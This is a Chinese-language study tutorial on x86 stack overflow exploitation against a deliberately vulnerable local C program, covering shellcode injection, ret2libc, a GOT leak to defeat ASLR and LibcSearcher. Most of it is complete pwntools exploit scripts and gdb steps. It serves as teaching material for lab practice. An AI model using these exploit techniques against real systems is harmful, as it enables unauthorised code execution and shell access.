ROP | 蒸米 -x86

ROP | 无防护下 shellcode

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>  //"unistd.h" iniclude many functions ,sush as ,read,write
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 256);//0 STDIN_FILENO 
}
int main(int argc, char** argv)
{
vulnerable_function();
write(STDOUT_FILENO, "Hello, World
", 13);//1 STDOUT_FILENO
}

关闭保护:gcc -m32 -fno-stack-protector -z execstack -o test test.c 关闭canary,NX

root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space

关闭ASLR

正常流程:main->vul(输入点,256>128)->write
但是编译器在经过编译,汇编,链接后的栈空间会适当的调整,buf是128,但是栈的空间并非128

cyclic
usage: pwn cyclic [-h] [-a alphabet] [-n length] [-c context]
                  [-l lookup_value]
                  [count]
pwn cyclic: error: argument -l/-o/--offset/--lookup: expected one argument
cyclic N
cyclic -l 字符(报错位置)//显示偏移量

pwntools 也提供了大量有用的命令行工具, 它们用作某些内部功能的包装。pwn cyclic当然在使用时直接cyclic就可以。

cyclic 对于直接的缓冲区溢出,可以很方便的确认再偏移多少可以控制eip 。

gdb ./test
disas main  
b * 0x08048471
r
c

Program received signal SIGSEGV, Segmentation fault.出现段错误

               |cyclic字符 |
               |cyclic字符 |
               |cyclic字符 |
|ret address|=>|0x6261616b | 不存在的地址从而报错 
root@ubuntu:/home/chen/Desktop# cyclic -l  0x6261616b
140

offset:140

gdb:下确定shellcode位置

gdb下的固定地址与直接执行的固定地址未必一值,对shellcode的地址确定带来干扰
利用直接执行的核心转储文件core,在gdb下查看报错信息,从而确定其在直接执行下的内存地址(ulimit -c unlimted)

gdb test core
x/10s $esp-144

140+4(eip/ret)<-esp,下图显示esp指向ret

:payload | shellcode
from pwn import*
#context.log_level='debug'
context.arch='i386'
context.os='Linux'
p=process('./test')
shellcode=asm(shellcraft.sh())
ret_addr=0xffffd640
payload=shellcode.ljust(140,'a')+p32(ret_addr)
p.send(payload)
p.interactive()

ret2libc详解

gcc -m32 -fno-stack-protector -o test1 test.c
echo 0 > /proc/sys/kernel/randomize_va_space
开启了NX保护,还要关闭ASLR保护,所以在栈上注入shellcode明显无法执行,但是可以利用gdb 运行调试是挂载libc.so,在其中找到system,与'/bin/sh'字符,伪造函数调用
场景一:A call B,(A,B)均为函数,过程中发生了什么呢?
A

     <A+0x5>push 参数 -------运行到这一步 | 函数参数  | B(参数)参数入栈

     <A+0x9>call B    ------先将addr入栈,作为函数返回地址保存   | addr |(跳到B的代码段)-------
addr <A+0xb> ...                                              |参数   |                      |
                                                                                             |--->B:(eip=B)
                                                                                              push ebp
                                                                                              mov  ebp,esp//ebp=esp
                                                                                              sub  esp,0xc//开辟栈空间
                                                                                            
                                                                                              |old ebp|
                                                                                              | addr  |//此时的栈结构
                                                                                              |参数    |  
                                                                         

B执行完了,之后呢?

add esp,0xc
pop old ebp//ebp指针被赋予栈中旧的EBP
pop addr//eip=addr

现在addr被篡改成恶意的地址

(控制eip)| normal addr|->|system|----------》pop system 到eip------------------>system:
                         |addr |  
                         |参数 |
                                                                                                                                                                                                                               结构:------------------------------------------------------------------------->push ebp
                                                                               mov  ebp,esp//ebp=esp
                                                                               sub  esp,0xc//开辟栈空间
                                                                   
                                                                                              |old ebp|
                                                                                              | addr  |//此时的栈结构
                                                                                              |参数    |                          

可能会疑惑为什么跟A call B 的模型不一样呢?其实是因为system函数在这里是一个整体,确切来讲old ebp的压栈靠system函数,只与addr其实不重要。在gdb中 print system ,find '/bin/sh',addr随便写

from pwn import *
context.arch='i386'
context.log_level='debug'
p=process('./test1')
system= 0xf7e41940
binsh=0xf7f6002b 
payload=140*'a'+p32(system)+'bbbb'+p32(binsh)
p.sendline(payload)
p.interactive()


攻击成功

libc函数相对位置确定的利用

echo 2 > /proc/sys/kernel/randomize_va_space 开启ALSR,用ldd(列出一个程序所需要得动态链接库(so)),可以看到libc.so的位置不确定,这也是ASLR的作用之一,干扰攻击地址的确定。

思路:间接利用ret2lic,libc.so中的函数的相对位移确定。

 locate libc.so.6
 
from pwn import*
context.log_level='debug'
context.arch='i386'
libc=ELF('../../../../lib32/libc.so.6')
elf=ELF('./test1')
p=process('./test1')
write_plt=elf.symbols['write']
write_got=elf.got['write']#real addr
#write(1,got,4)
#start=0x08048340 .text start
start=0x08048340
payload=140*'a'+p32(write_plt)+p32(start)+p32(0x1)+p32(write_got)+p32(0x4)
p.sendline(payload)
write_real=u32(p.recv(0x4))
offset=write_real-libc.symbols['write']
system_real=libc.symbols['system']+offset
binsh_real=next(libc.search('/bin/sh'))+offset

payload1=140*'a'+p32(system_real)+'b'*4+p32(binsh_real)
p.sendline(payload1)
p.interactive()


LibcSearch(libc集合) | gdb attach()

安装
 1. git clone https://github.com/lieanu/LibcSearcher.git
 2. cd LibcSearcher
 3. sudo python setup.py install
 4. 把LibcSearcher.py放在exp相同目录下运行exp.py即可
使用
    libc = LibcSearcher("gets",gets_real_addr)   //匹配版本

    libcbase = gets_real_addr – obj.dump("fgets")  //real-offset=base基址
    system_addr = libcbase + obj.dump("system")            #system 偏移
    bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移


LibcSearcher详解

使用时可以这样使用,将exp.py与可执行文件放在LibcSearch文件夹中

from pwn import *
from LibcSearcher import *
elf=ELF('test1')
p=process('./test1')
write_plt=elf.plt['write']
write_got=elf.got['write']
start =0x08048340 #start  .text
#gdb.attach(p) attach()参数为进程号,
payload1='A'*140+p32(write_plt)+p32(start)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)
write_addr=u32(p.recv(4))
libc=LibcSearcher('write',write_addr)
libcbase=write_addr-libc.dump("write")
#print(libcbase)
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")
payload2='A'*140+p32(system_addr)+p32(1234)+p32(binsh_addr)
p.sendline(payload2)
p.interactive()

gdb attach() 说明

参考:
http://www.vuln.cn/6645
https://www.codetd.com/article/7778682
https://xz.aliyun.com/t/3944

原文地址:https://www.cnblogs.com/zuoanfengxi/p/13213771.html